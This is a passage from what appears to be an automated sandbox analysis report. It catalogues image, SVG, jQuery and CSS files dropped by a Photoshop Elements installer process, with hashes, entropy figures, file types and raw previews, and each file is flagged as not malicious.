                                                                                                SHA-512:C3849CC0A289A36A70E7B4968BC379E118CA80D3E87AFF2477FD7FBD514B66CD67E199B17B41277A6F3C8794B88CC69532B233016BFEC2EE98D3F0C17DBBC4E8
                                                                                                Malicious:false
                                                                                                Preview:.PNG........IHDR...X...T......W.O....pHYs...........~.....IDATx..]kl...>k....c.6v.....HL....*.,."..(U..*?Z....O!R.3.....?m.T.R5.............$.B.%P.K.~?.56.1[}.{.y..;............{.;.L&Cv.5o]EDOd.{......"ED...a..I...;+.C.[A.A"...%...h_&....~.....&.....0.......2..I.5...{....9.9"..\..c.\O.g...#8..F.wPi..TT..G.#9.8.|.[....vRq.v`2......Q..i.5.#.K.,.....l.p6.+)o.@5...0..T_.]O....$a#..."...z8.g.k.X5.@...0....8....b...}....q.j.,.>8TRjx...e.?.6.N.t..qO1..MD..l...r.j.Ozh...4.........T.f.........^.+$A..hU...}.)*.........f..i o:...E.,....*[6Q.8L..Lt.....,6....*o._.m..{P...,.$fG/S8.`..........O..u.NP....Tk.^..q=..M]:mz...>....&]........|zL...(.>..5To.M......Y....P.............P>$...a_.....Xu! 0...aY..Stc...y@....8L..&..\..#Q....w....ZaCWF... ...B.....Vw.....%_..`#a..^.%....>[!.X.!oB.;.F.6s.".?=)........6.B.g.R..B..N...4@.FO......Z.!,.B.I4.........&k....A.....;!...J.}%...'T~..9E...o..+.J..?...g..R....... ....Q......c....z..F.B...Za.FN.Z..+X(".d.

                                                                                                C:\Users\user\AppData\Local\Temp\{545FA8D8-23C8-43E3-A37E-85FFFA7B12AB}\images\cancelButton.png

                                                                                                Download File
                                                                                                Process:C:\Users\user\AppData\Local\Temp\is-KHIOG.tmp\PhotoshopElements_2024_LS30_win64.exe
                                                                                                File Type:PNG image data, 12 x 12, 8-bit/color RGBA, non-interlaced
                                                                                                Category:dropped
                                                                                                Size (bytes):295
                                                                                                Entropy (8bit):7.009097145013056
                                                                                                Encrypted:false
                                                                                                SSDEEP:6:6v/lhPIcR8RtshA37j1nxheDag9C63DuB2ULuERgLe/MjJBmrUg6RpyHp:6v/7DR8ehIBnxhs063DuaecJMAOJ
                                                                                                MD5:7AE9FB845B9137EF10002FE9D0F5C643
                                                                                                SHA1:9F3FA2B29B1B40E1B6794E5D624524DE297A8B59
                                                                                                SHA-256:E9E5FC264337BF6845B2CF2720DDCDE8936CB120328087917BF94C5911EDD74A
                                                                                                SHA-512:4420CDFBC47D2AC804F1C05840E4113B098FFC71E95E11FFE8F95342F5A75DC0F35FE8012984B0D645F1310B524F66069AE0C0FE053E0D601D39ADED321C15CD
                                                                                                Malicious:false
                                                                                                Preview:.PNG........IHDR.............Vu\.....sRGB.........IDAT(...=..@.F.m .j..........E....../.......K..Iv.|...U....U.4.(.^...<.7A...Qi..r...8\...L.u.-...x*..n.....m{Qd.l..a*.......=F..-........hc...5.cv%4....1._6...h...Yy....HY{.&H..l..{.q...?x5{6......G`.X-.....&..7.....h....Di....IEND.B`.

                                                                                                C:\Users\user\AppData\Local\Temp\{545FA8D8-23C8-43E3-A37E-85FFFA7B12AB}\images\ccIcon.png

                                                                                                Download File
                                                                                                Process:C:\Users\user\AppData\Local\Temp\is-KHIOG.tmp\PhotoshopElements_2024_LS30_win64.exe
                                                                                                File Type:PNG image data, 29 x 22, 8-bit/color RGBA, non-interlaced
                                                                                                Category:dropped
                                                                                                Size (bytes):550
                                                                                                Entropy (8bit):7.4943976070292
                                                                                                Encrypted:false
                                                                                                SSDEEP:12:6v/7DX8MbUByUhWoXk84XVOd9ZH3YiHNrjgF7doOxQIHYJ/Nz:SXfwBhWoXR4UVNr0FCSQI+d
                                                                                                MD5:8D2C84506F3F48A810EB7232DC000D6F
                                                                                                SHA1:F4A238C1F7C02C7C907368B939EFBA7512C6BE5A
                                                                                                SHA-256:C4620BC8B293DD89DB628D2002EF9FE02055E2D1CFF1F07E18A3E2E4942AB7F1
                                                                                                SHA-512:0FCCA755A410C7EF4E6F056B7267AAF23D5063DD8230528FC3765ED1E3D12042C930F999A54498E754FCB3565DF17636D7A5DE2E95E142AE139D17A744EC93A9
                                                                                                Malicious:false
                                                                                                Preview:.PNG........IHDR.............<T......tEXtSoftware.Adobe ImageReadyq.e<....IDATx..V.M.0.m$...a....Z6..t.0AF.. e..A....a.s...............}qv....O.9.Z.....?+.....4M..'.z2. X.#...x.u....7D!..2]Y..&......H.GH..Kw/....{._.'.....y5v..P....<....*N.......&......4....k...C../.Ta.......5l}&!E*.t.n..6~.......69%z..H......g..Ta7..>.8.....R.R..O.cI..R.....*.).M.....Ow..K..XSUa[te_.....y.>f.a...,/..LL-..9.6..[...-...mBN...b]G6.N....FZB.Qp..zr.1..f.s..Pp....>4..bb..P..@.=...T.}[.Ou.s..G|...o.-..-..=f..).....U..G........s..C......K.$......IEND.B`.

                                                                                                C:\Users\user\AppData\Local\Temp\{545FA8D8-23C8-43E3-A37E-85FFFA7B12AB}\images\ccIconDark.png

                                                                                                Download File
                                                                                                Process:C:\Users\user\AppData\Local\Temp\is-KHIOG.tmp\PhotoshopElements_2024_LS30_win64.exe
                                                                                                File Type:PNG image data, 30 x 22, 8-bit/color RGBA, non-interlaced
                                                                                                Category:dropped
                                                                                                Size (bytes):654
                                                                                                Entropy (8bit):7.557922780675891
                                                                                                Encrypted:false
                                                                                                SSDEEP:12:6v/7+9s/6Tog8r/TlK9zi41xfBL6Hms18Vcgu82O8JyfKyoby1:bs/6Bw/Tlkj/fBLgb8yk21JyCtu1
                                                                                                MD5:13B5F5E052334E0AD6D31845FC859E3D
                                                                                                SHA1:B71022382904D194A5D8F5CB3B1D0DD92E254B16
                                                                                                SHA-256:87FD64C46642058FB6D7AE4AB2C71BA5DF7CE12FFB8B9383EDC7BB7A673F0306
                                                                                                SHA-512:79E77EF0CC83C24D3D0F04A2340E248A8DD11469F43740B6453913648CF2C3C5592053DD4A5A34C81F3FFDFDD0FDDC5953454EE0D44D3AC946B2DDBE17ADA584
                                                                                                Malicious:false
                                                                                                Preview:.PNG........IHDR..............c,.....pHYs.................tEXtSoftware.Adobe ImageReadyq.e<....IDATx.V-t.@.n.0...Ij.b.b.......i.f.......Hj.d..]_..Z6......|.....t.Y..i..G9.L+.........h.N.&Z...M...A..QK...DM..(.A..$..U....J..C..h.p...V`q1.gz.....2{.^e...o..$.m$r.#2..F(..!:.@.b._.....>-....}..s]..0...}..!....hF"'..`.Au>..E.pK..c..fM........T(s:g..2...m.I..#.aG.....u.....-.c..$.<..z......ana..Q.DYW.'%....b....{.q..n.W/..l.........KX9=/....B...UM....\....xf.p.s.Bs.....>-..{.3}!...^..[5.J.g.8...'....@9......g.p....r..M..1.M....."...........+&..?".....X*?.{..E..^..H...=;-........jp.O.4......C....^E.s..Gam...7..K.....A.-q.....IEND.B`.

                                                                                                C:\Users\user\AppData\Local\Temp\{545FA8D8-23C8-43E3-A37E-85FFFA7B12AB}\images\checkEmpty.png

                                                                                                Download File
                                                                                                Process:C:\Users\user\AppData\Local\Temp\is-KHIOG.tmp\PhotoshopElements_2024_LS30_win64.exe
                                                                                                File Type:PNG image data, 12 x 12, 8-bit/color RGBA, non-interlaced
                                                                                                Category:dropped
                                                                                                Size (bytes):167
                                                                                                Entropy (8bit):6.101455760967006
                                                                                                Encrypted:false
                                                                                                SSDEEP:3:yionv//thPlZl+cR8LtsesyxNwGol4ikRUIW1qdyJ1/iTcOMNMhPTFoFg407PQ0p:6v/lhPIcR8Rtsuw3l4x1E1wcO1PTFoFU
                                                                                                MD5:D13CECC413374C4DDC22A9EDACDE8A11
                                                                                                SHA1:981295DD1F713584591716A6E753346B8A89215A
                                                                                                SHA-256:B9C9AE215DAF1BB5B6692F527375207AEDC138891947E5F6C1C6B549C2EBF39A
                                                                                                SHA-512:A717E64430A4680D09C555183C69705998FBEC4CB8AA41AC6AD10DF9FBD4F4E2243548689F12695760D5B191ED62A38A92558BC88A730004D7119DBE017C6241
                                                                                                Malicious:false
                                                                                                Preview:.PNG........IHDR.............Vu\.....sRGB........aIDAT(.c...FF.Y@,......1......d.P.,.....6y...x,`.......O.6.Q..B.].....1,..%....f..i@..]...R....Z.#;...}....IEND.B`.

                                                                                                C:\Users\user\AppData\Local\Temp\{545FA8D8-23C8-43E3-A37E-85FFFA7B12AB}\images\checkFull.png

                                                                                                Download File
                                                                                                Process:C:\Users\user\AppData\Local\Temp\is-KHIOG.tmp\PhotoshopElements_2024_LS30_win64.exe
                                                                                                File Type:PNG image data, 12 x 12, 8-bit/color RGBA, non-interlaced
                                                                                                Category:dropped
                                                                                                Size (bytes):317
                                                                                                Entropy (8bit):6.90777917772511
                                                                                                Encrypted:false
                                                                                                SSDEEP:6:6v/lhPIcR8R7AAR2DWNU0xG1oScwDn/SC4ucnrK1pesYD8+vuQYu5GtzNdGp:6v/7DR87AAR2Dn0g1okn/Sb3rUpe+BQv
                                                                                                MD5:9F7974BBCC96F12769C1856045EB7BC7
                                                                                                SHA1:FA0B9B9D709718839EA525AB838260A4E124FB1D
                                                                                                SHA-256:E7FCFF2549114496E8141F46A7606F740BBADF22C9AD818C40D9FF9B9EA12198
                                                                                                SHA-512:BC38C23791A8AD4E596E921BC5E391D39BEA998434915D5C25B1B37015A089FE91CE9510774C48FBC91E52400C5843897A5780AA1C2CF5C8B73D3F89A2AA0856
                                                                                                Malicious:false
                                                                                                Preview:.PNG........IHDR.............Vu\.....sRGB.........IDAT(......@.E.I..-....;+.;.t~......~C^?..ll...A."U...{EC.W/Lvv..e#L..)...B4.J..y........of."i..C....w.8A*@.$I..m......g..,R.O...y[.0*(.Y..nq...4m.v..cg.q..q...)......\.=fY6 ..~X.{.)aYV...u.E. .^.....\....u}....4....0i...._.[..?X.`W...a....IB.....z`AG.w....IEND.B`.

                                                                                                C:\Users\user\AppData\Local\Temp\{545FA8D8-23C8-43E3-A37E-85FFFA7B12AB}\images\dropdown.png

                                                                                                Download File
                                                                                                Process:C:\Users\user\AppData\Local\Temp\is-KHIOG.tmp\PhotoshopElements_2024_LS30_win64.exe
                                                                                                File Type:PNG image data, 12 x 12, 8-bit/color RGBA, non-interlaced
                                                                                                Category:dropped
                                                                                                Size (bytes):224
                                                                                                Entropy (8bit):6.637350346135181
                                                                                                Encrypted:false
                                                                                                SSDEEP:6:6v/lhPIcR8R1VpDijzdQ/xaC8VAld1O55Uh5Op:6v/7DR8dDiju/4NY42h58
                                                                                                MD5:EE8599707751BEFDDB2B94BC79525C15
                                                                                                SHA1:E118B48E25FE42D933377B03FB5A9A710E1C5CAA
                                                                                                SHA-256:C1F6844923F7C311D996D81EED6D8E769D52DF6D95C898187D92997ABBB2770B
                                                                                                SHA-512:CDCE6D59C807DD1D2B13AF39E2FE078B0C0AD51B021DC30373E18BDE2A807449051F3F9084AFA15B2F6D943169C1BC246C7DBE6E965DDACACB961F67269FB548
                                                                                                Malicious:false
                                                                                                Preview:.PNG........IHDR.............Vu\.....sRGB.........IDAT(..;..!.E...4..]..4$H3..J..Wa\..=..C.M...K.._...14J).Zkc..RJy}..!.sW..9.Dl.9y.....c.........r=p.p...vL.....z%.$.I..0.."...j..3Q..U......&.mt>stFC........IEND.B`.

                                                                                                C:\Users\user\AppData\Local\Temp\{545FA8D8-23C8-43E3-A37E-85FFFA7B12AB}\images\dropdown.svg

                                                                                                Download File
                                                                                                Process:C:\Users\user\AppData\Local\Temp\is-KHIOG.tmp\PhotoshopElements_2024_LS30_win64.exe
                                                                                                File Type:SVG Scalable Vector Graphics image
                                                                                                Category:dropped
                                                                                                Size (bytes):289
                                                                                                Entropy (8bit):5.117544094088991
                                                                                                Encrypted:false
                                                                                                SSDEEP:6:tvKIiad4mc4sl3ULAmXKPqLujc6QwF2c47WiBCLQwJHrdGolljqSG7Y:tvG16naPqLujKwF2cGWiB+QwJHZljpGE
                                                                                                MD5:4585F70294E7B625DCD1EA8C585067A5
                                                                                                SHA1:11C92AE523B0C588C5469814B0C3C7778CB3F133
                                                                                                SHA-256:7E58A1CCE147DF03605A92FFDA1B88CA26005C09D1EB9AE56F37ACCDEBBFE348
                                                                                                SHA-512:DEB1CE83D9BDFF93EFF950ED267076E5E8A7BB43CD2DDE28561C3D07F68094A9C99DF594BF2FDCB38FDDF9656CD51475108AD1B29F8C9D4BF197E6DA5A093B03
                                                                                                Malicious:false
                                                                                                Preview:<svg id="Layer_1" data-name="Layer 1" xmlns="http://www.w3.org/2000/svg" viewBox="0 0 10 6"><title>dropdown</title><path d="M9,12a1,1,0,0,1-.71-.29l-4-4A1,1,0,0,1,5.71,6.29L9,9.59l3.29-3.29a1,1,0,0,1,1.41,1.41l-4,4A1,1,0,0,1,9,12Z" transform="translate(-4 -6)" style="fill:#8e8e8e"/></svg>

                                                                                                C:\Users\user\AppData\Local\Temp\{545FA8D8-23C8-43E3-A37E-85FFFA7B12AB}\images\errorIcon.png

                                                                                                Download File
                                                                                                Process:C:\Users\user\AppData\Local\Temp\is-KHIOG.tmp\PhotoshopElements_2024_LS30_win64.exe
                                                                                                File Type:PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
                                                                                                Category:dropped
                                                                                                Size (bytes):466
                                                                                                Entropy (8bit):7.326200947745523
                                                                                                Encrypted:false
                                                                                                SSDEEP:12:6v/78TBJ/+wTX6U5+wDXp0wYnP56fU/hktM9iRazSjlN:x3fqU5+k456fMh2MDzON
                                                                                                MD5:7978536150734CEFFAF0720837E8B302
                                                                                                SHA1:7C11361AF6E41D00BEFFAF4EF9E677506B32164D
                                                                                                SHA-256:5D10637927B7A623428560EAF18FB8EAF439CD8731199C3B4D251B9846841183
                                                                                                SHA-512:DA5BB4329783BA623E12D3DC50B2C080E8AC2AFF4D4F25DC3E1D84561FD9B40B158570B98DD24618762562674FC1B7D10E081677F214EC859ECC5D0B477DB0F7
                                                                                                Malicious:false
                                                                                                Preview:.PNG........IHDR................a....sRGB.........IDAT8..S=K.A...;........}@..6.U....boa'.-..B.G.V.Z.....!b!.R......M.x..|...fw.`..o4N.R.L.....k.-p.g.(.(u./yX.....r..,'...d..~.~.B.g....-....c{L.+.K.>(5..p...1"^>.8.6X'v.-)......DERW.... aG<g.1.x..T&...1..5....r9M..|.y3.L..Ta....|....Z.:'..Y..N.c...4..g....be.u+V...T.4.yN..F.|....,....F.w..y;.q.G.M_..a..y`.Dd..1..R.V....I9.o..P.G).*,uS.O...F.$.m..|#.3..MM....pO........!.I.GV..C..o..i.0.......IEND.B`.

                                                                                                C:\Users\user\AppData\Local\Temp\{545FA8D8-23C8-43E3-A37E-85FFFA7B12AB}\images\folder-open.svg

                                                                                                Download File
                                                                                                Process:C:\Users\user\AppData\Local\Temp\is-KHIOG.tmp\PhotoshopElements_2024_LS30_win64.exe
                                                                                                File Type:SVG Scalable Vector Graphics image
                                                                                                Category:dropped
                                                                                                Size (bytes):602
                                                                                                Entropy (8bit):5.170117530804048
                                                                                                Encrypted:false
                                                                                                SSDEEP:12:tvF6TT4I1LofEiSVE1wKc5yt/f6TZeoHuguQYWBff4vk:tW8I1cDk+Nc5S4ZtHkY4vk
                                                                                                MD5:3530C5040AC9AF92CD0A7D347F764593
                                                                                                SHA1:B815EF3654EC2C677E8F8F68D8527B6D8142B4E9
                                                                                                SHA-256:DAF26AD61AEE6152CF7C0E8F2D3936D0C220DE2A3C329E6CE0FCC007CB64CA51
                                                                                                SHA-512:0CE187A12445054E270337B6BDD6B035E8FADB3B0A4E8C822833C12431BB520340FA509AB3E1DF564CBF67700B9BA78EE246689267878D386E88F709D10C1FBD
                                                                                                Malicious:false
                                                                                                Preview:<svg id="S_FolderOpen_18_N" xmlns="http://www.w3.org/2000/svg" width="18" height="18" viewBox="0 0 18 18">.. <defs>.. <style>.. .cls-1 {.. fill: #8e8e8e;.. fill-rule: evenodd;.. }.... .. </style>.. </defs>.. <title>S_FolderOpen_18_N</title>.. <path class="cls-1" d="M6,3L7.2,4.6,7.5,5H15V7H3V3H6ZM6.25,2H2.5a0.5,0.5,0,0,0-.5.5V7H0.288a0.25,0.25,0,0,0-.247.285L1.9,14.623A0.5,0.5,0,0,0,2.389,15H15.611a0.5,0.5,0,0,0,.485-0.377l1.864-7.338A0.25,0.25,0,0,0,17.712,7H16V4.5A0.5,0.5,0,0,0,15.5,4H8L6.65,2.2A0.5,0.5,0,0,0,6.25,2h0Z" transform="translate(0)"/>.. </svg>

                                                                                                C:\Users\user\AppData\Local\Temp\{545FA8D8-23C8-43E3-A37E-85FFFA7B12AB}\images\productIcon.png

                                                                                                Download File
                                                                                                Process:C:\Users\user\AppData\Local\Temp\is-KHIOG.tmp\PhotoshopElements_2024_LS30_win64.exe
                                                                                                File Type:PNG image data, 88 x 84, 8-bit/color RGBA, non-interlaced
                                                                                                Category:dropped
                                                                                                Size (bytes):3054
                                                                                                Entropy (8bit):7.920741815156119
                                                                                                Encrypted:false
                                                                                                SSDEEP:48:EetobvO+qOt7dLQDys5pZBAmoM67nXGzwONXAyP+RNONUTRbUc:EetOhlldkDy6ploN7O3NQyoON2F
                                                                                                MD5:EB5FDB63686193E55826A8DD77D64412
                                                                                                SHA1:977C4788ABF0F274E74281C4DA76C0C3D2F26B76
                                                                                                SHA-256:1DBCFFB6B2837F5C42CC90713F01F7E7E82B45337DE78B1204F67E0AD7FA488B
                                                                                                SHA-512:C3849CC0A289A36A70E7B4968BC379E118CA80D3E87AFF2477FD7FBD514B66CD67E199B17B41277A6F3C8794B88CC69532B233016BFEC2EE98D3F0C17DBBC4E8
                                                                                                Malicious:false
                                                                                                Preview:.PNG........IHDR...X...T......W.O....pHYs...........~.....IDATx..]kl...>k....c.6v.....HL....*.,."..(U..*?Z....O!R.3.....?m.T.R5.............$.B.%P.K.~?.56.1[}.{.y..;............{.;.L&Cv.5o]EDOd.{......"ED...a..I...;+.C.[A.A"...%...h_&....~.....&.....0.......2..I.5...{....9.9"..\..c.\O.g...#8..F.wPi..TT..G.#9.8.|.[....vRq.v`2......Q..i.5.#.K.,.....l.p6.+)o.@5...0..T_.]O....$a#..."...z8.g.k.X5.@...0....8....b...}....q.j.,.>8TRjx...e.?.6.N.t..qO1..MD..l...r.j.Ozh...4.........T.f.........^.+$A..hU...}.)*.........f..i o:...E.,....*[6Q.8L..Lt.....,6....*o._.m..{P...,.$fG/S8.`..........O..u.NP....Tk.^..q=..M]:mz...>....&]........|zL...(.>..5To.M......Y....P.............P>$...a_.....Xu! 0...aY..Stc...y@....8L..&..\..#Q....w....ZaCWF... ...B.....Vw.....%_..`#a..^.%....>[!.X.!oB.;.F.6s.".?=)........6.B.g.R..B..N...4@.FO......Z.!,.B.I4.........&k....A.....;!...J.}%...'T~..9E...o..+.J..?...g..R....... ....Q......c....z..F.B...Za.FN.Z..+X(".d.

                                                                                                C:\Users\user\AppData\Local\Temp\{545FA8D8-23C8-43E3-A37E-85FFFA7B12AB}\images\spinner.gif

                                                                                                Download File
                                                                                                Process:C:\Users\user\AppData\Local\Temp\is-KHIOG.tmp\PhotoshopElements_2024_LS30_win64.exe
                                                                                                File Type:GIF image data, version 89a, 64 x 64
                                                                                                Category:dropped
                                                                                                Size (bytes):19226
                                                                                                Entropy (8bit):7.80743643227984
                                                                                                Encrypted:false
                                                                                                SSDEEP:384:9GYhZd78mNMfs/QflSegSOQkY/mdmHasA1mS0l+XIDivbyvUh:91HdFNMf7fRgSsUnA1GsGsh
                                                                                                MD5:7699A4C54B1F5515A64E93FE3F801321
                                                                                                SHA1:2E51F7E1A331D921EAF15BD7DC9721A742984D47
                                                                                                SHA-256:9146E2390273AC868609DAC1BE7F1A0458B7D4F7ECDFE1EAEC107B3211F33AA2
                                                                                                SHA-512:4810ABFECC92866145A22F73639264574958D6DB1157DA0B6FF0472C14D8171FFC633FC6BA04843FCFD617CE4F0C19633475D2501ACE48F8EE34EC8FA6FDED87
                                                                                                Malicious:false
                                                                                                Preview:GIF89a@.@.............w..p...y.z.......>........L..2..(~.............h............Y...k.....V...m..D............|......I........................$|....'}.q...d....k..A........x.....a....~......x......,..@..S.....:.....<..a...........@.....N........\..\.....e...................`...........\...n....."z.+........7........n..|.....u.......-.....u......T.........?....=..H..C..*...................................................t.....s.........................^...v........w.W..*...........................u....|...........(}......._......u.............../.................o........j..c......v.......m.......................r..t........w.>.......................................V..)~.............{...........u..........s.......!..NETSCAPE2.0.....!.......,....@.@........H..A...e...&T\...e.....3j...E.B....IL8h.(.......1.I...%S.R..g.D.j..I..&,.|...T(.F.&%R....+:.JU...J5R.Ts.%E.U.J@..)Va.Z.E..%.aWM.......A..y)...<&h..`..I.F.Jt.`.$7I.....#I

                                                                                                C:\Users\user\AppData\Local\Temp\{545FA8D8-23C8-43E3-A37E-85FFFA7B12AB}\images\transparent.gif

                                                                                                Download File
                                                                                                Process:C:\Users\user\AppData\Local\Temp\is-KHIOG.tmp\PhotoshopElements_2024_LS30_win64.exe
                                                                                                File Type:GIF image data, version 89a, 1 x 1
                                                                                                Category:dropped
                                                                                                Size (bytes):43
                                                                                                Entropy (8bit):3.0314906788435274
                                                                                                Encrypted:false
                                                                                                SSDEEP:3:CUkwltxlHh/:P/
                                                                                                MD5:325472601571F31E1BF00674C368D335
                                                                                                SHA1:2DAEAA8B5F19F0BC209D976C02BD6ACB51B00B0A
                                                                                                SHA-256:B1442E85B03BDCAF66DC58C7ABB98745DD2687D86350BE9A298A1D9382AC849B
                                                                                                SHA-512:717EA0FF7F3F624C268ECCB244E24EC1305AB21557ABB3D6F1A7E183FF68A2D28F13D1D2AF926C9EF6D1FB16DD8CBE34CD98CACF79091DDDC7874DCEE21ECFDC
                                                                                                Malicious:false
                                                                                                Preview:GIF89a.............!.......,...........D..;

                                                                                                C:\Users\user\AppData\Local\Temp\{545FA8D8-23C8-43E3-A37E-85FFFA7B12AB}\lib\jquery.custom-scrollbar.min.js

                                                                                                Download File
                                                                                                Process:C:\Users\user\AppData\Local\Temp\is-KHIOG.tmp\PhotoshopElements_2024_LS30_win64.exe
                                                                                                File Type:ASCII text, with very long lines (8681), with CRLF line terminators
                                                                                                Category:dropped
                                                                                                Size (bytes):14724
                                                                                                Entropy (8bit):5.015214612878625
                                                                                                Encrypted:false
                                                                                                SSDEEP:96:gdnjU50hTj1W+owFDjHhIOku3sd9msmJBGDkZlUQVXGxKmQpq8lkpMzsASsX:anjU50hTjlomDdMXxmQU7p4WYsSsX
                                                                                                MD5:AB3ADF4AFF09A1C562A29DB05795C8AB
                                                                                                SHA1:F6C3F470AEA0678945CB889F518A0E9A5CE44342
                                                                                                SHA-256:D05E193674C6FC31DE0503CBC0B152600F22689AD7AD72ADB35FCC7C25D4B01B
                                                                                                SHA-512:44DFC748D0BD84F123F9D3F62D5EA137D9128D5BDBE45DA9A8666D09039EB179ACF0DBB3030E09896FD61E7AA5AE6DFAFFE9258D80949A64D0A7E45037791FB4
                                                                                                Malicious:false
                                                                                                Preview:(function(e){e.fn.customScrollbar=function(i,t){var o={skin:undefined,hScroll:true,vScroll:true,updateOnWindowResize:false,animationSpeed:300,onCustomScroll:undefined,swipeSpeed:1,wheelSpeed:40,fixedThumbWidth:undefined,fixedThumbHeight:undefined};var s=function(i,t){this.$element=e(i);this.options=t;this.addScrollableClass();this.addSkinClass();this.addScrollBarComponents();if(this.options.vScroll)this.vScrollbar=new n(this,new r);if(this.options.hScroll)this.hScrollbar=new n(this,new l);this.$element.data("scrollable",this);this.initKeyboardScrolling();this.bindEvents()};s.prototype={addScrollableClass:function(){if(!this.$element.hasClass("scrollable")){this.scrollableAdded=true;this.$element.addClass("scrollable")}},removeScrollableClass:function(){if(this.scrollableAdded)this.$element.removeClass("scrollable")},addSkinClass:function(){if(typeof this.options.skin=="string"&&!this.$element.hasClass(this.options.skin)){this.skinClassAdded=true;this.$element.addClass(this.options.skin

                                                                                                C:\Users\user\AppData\Local\Temp\{545FA8D8-23C8-43E3-A37E-85FFFA7B12AB}\lib\jquery.min.js

                                                                                                Download File
                                                                                                Process:C:\Users\user\AppData\Local\Temp\is-KHIOG.tmp\PhotoshopElements_2024_LS30_win64.exe
                                                                                                File Type:ASCII text, with very long lines (65482), with CRLF line terminators
                                                                                                Category:dropped
                                                                                                Size (bytes):93637
                                                                                                Entropy (8bit):5.292996107428883
                                                                                                Encrypted:false
                                                                                                SSDEEP:1536:96IzxETpavYSGaW4snuHEk/yosnSFngC/VEEG0vd0KO4emAp2LSEMBoviR+I1z5T:v+vIklosn/BLXjxzMhsSQ
                                                                                                MD5:E1288116312E4728F98923C79B034B67
                                                                                                SHA1:8B6BABFF47B8A9793F37036FD1B1A3AD41D38423
                                                                                                SHA-256:BA6EDA7945AB8D7E57B34CC5A3DD292FA2E4C60A5CED79236ECF1A9E0F0C2D32
                                                                                                SHA-512:BF28A9A446E50639A9592D7651F89511FC4E583E213F20A0DFF3A44E1A7D73CEEFDB6597DB121C7742BDE92410A27D83D92E2E86466858A19803E72A168E5656
                                                                                                Malicious:false
                                                                                                Preview:/*! jQuery v1.8.3 jquery.com | jquery.org/license */..(function(e,t){function _(e){var t=M[e]={};return v.each(e.split(y),function(e,n){t[n]=!0}),t}function H(e,n,r){if(r===t&&e.nodeType===1){var i="data-"+n.replace(P,"-$1").toLowerCase();r=e.getAttribute(i);if(typeof r=="string"){try{r=r==="true"?!0:r==="false"?!1:r==="null"?null:+r+""===r?+r:D.test(r)?v.parseJSON(r):r}catch(s){}v.data(e,n,r)}else r=t}return r}function B(e){var t;for(t in e){if(t==="data"&&v.isEmptyObject(e[t]))continue;if(t!=="toJSON")return!1}return!0}function et(){return!1}function tt(){return!0}function ut(e){return!e||!e.parentNode||e.parentNode.nodeType===11}function at(e,t){do e=e[t];while(e&&e.nodeType!==1);return e}function ft(e,t,n){t=t||0;if(v.isFunction(t))return v.grep(e,function(e,r){var i=!!t.call(e,r,e);return i===n});if(t.nodeType)return v.grep(e,function(e,r){return e===t===n});if(typeof t=="string"){var r=v.grep(e,function(e){return e.nodeType===1});if(it.test(t))return v.filter(t,r,!n);t=v.filter(t

                                                                                                C:\Users\user\AppData\Local\Temp\{545FA8D8-23C8-43E3-A37E-85FFFA7B12AB}\lib\jquery.placeholder.min.js

                                                                                                Download File
                                                                                                Process:C:\Users\user\AppData\Local\Temp\is-KHIOG.tmp\PhotoshopElements_2024_LS30_win64.exe
                                                                                                File Type:ASCII text, with very long lines (3604), with CRLF line terminators
                                                                                                Category:dropped
                                                                                                Size (bytes):3706
                                                                                                Entropy (8bit):5.0009523549199875
                                                                                                Encrypted:false
                                                                                                SSDEEP:96:XpxMlW2VBVevM90XmMYitDRhlE7vzWxeJ:TMA2HVWYYhK7vF
                                                                                                MD5:E13F16E89FFF39422BBB2CB08A015D30
                                                                                                SHA1:E7CACAF84F53997DD096AFD1C5F350FD3E7C6CE9
                                                                                                SHA-256:24320ADD10244D1834052C7E75B853AA2D164601C9D09220A9F9AC1F0AE44AFE
                                                                                                SHA-512:AAD811F03F59F799DA4B8FC4F859B51C39F132B7DDBFFADABE4EC2373BD340617D6FE98761D1FB86D77606791663B387D98A60FBA9CEE5D99C34F683BCB8D1F9
                                                                                                Malicious:false
                                                                                                Preview:/* HTML5 Placeholder jQuery Plugin - v2.3.0.. * Copyright (c)2015 Mathias Bynens.. * 2015-11-13.. */..!function (a) { "function" == typeof define && define.amd ? define(["jquery"], a) : a("object" == typeof module && module.exports ? require("jquery") : jQuery) }(function (a) { function b(b) { var c = {}, d = /^jQuery\d+$/; return a.each(b.attributes, function (a, b) { b.specified && !d.test(b.name) && (c[b.name] = b.value) }), c } function c(b, c) { var d = this, f = a(this); if (d.value === f.attr("placeholder") && f.hasClass(n.customClass)) if (d.value = "", f.removeClass(n.customClass), f.data("placeholder-password")) { if (f = f.hide().nextAll('input[type="password"]:first').show().attr("id", f.removeAttr("id").data("placeholder-id")), b === !0) return f[0].value = c, c; f.focus() } else d == e() && d.select() } function d(d) { var e, f = this, g = a(this), i = f.id; if (!d || "blur" !== d.type || !g.hasClass(n.customClass)) if ("" === f.value) { if ("password" === f.type) { if (!

                                                                                                C:\Users\user\AppData\Local\Temp\{545FA8D8-23C8-43E3-A37E-85FFFA7B12AB}\main.css

                                                                                                Download File
                                                                                                Process:C:\Users\user\AppData\Local\Temp\is-KHIOG.tmp\PhotoshopElements_2024_LS30_win64.exe
                                                                                                File Type:assembler source, ASCII text, with very long lines (576), with CRLF line terminators
                                                                                                Category:dropped
                                                                                                Size (bytes):16678
                                                                                                Entropy (8bit):5.078437835720232
                                                                                                Encrypted:false
                                                                                                SSDEEP:192:Mk4wZnKPB1d/2NUyhyNbaXDwBrgDxOsJHPYKXZXXiTEjO9izHzW/SQ:9XBzzgKXZXyQKizw
                                                                                                MD5:EE23E36C90C9FCCD530504285D371AC3
                                                                                                SHA1:7A4E24D18EC723D38CD922E3845FF290F0299E15
                                                                                                SHA-256:32616E0764C80EFB4607A0DCCFEC7CF7862886C4AE80E6405DC3CC5C62CD0F82
                                                                                                SHA-512:542937075A96F6AFB8170C6F41915EFEEC5E067803606C2A26D29E6C990D93A255AD8CEA18600CD0825A0C91FF935D057870A1724062543A8E2BC09C4041B375
                                                                                                Malicious:false
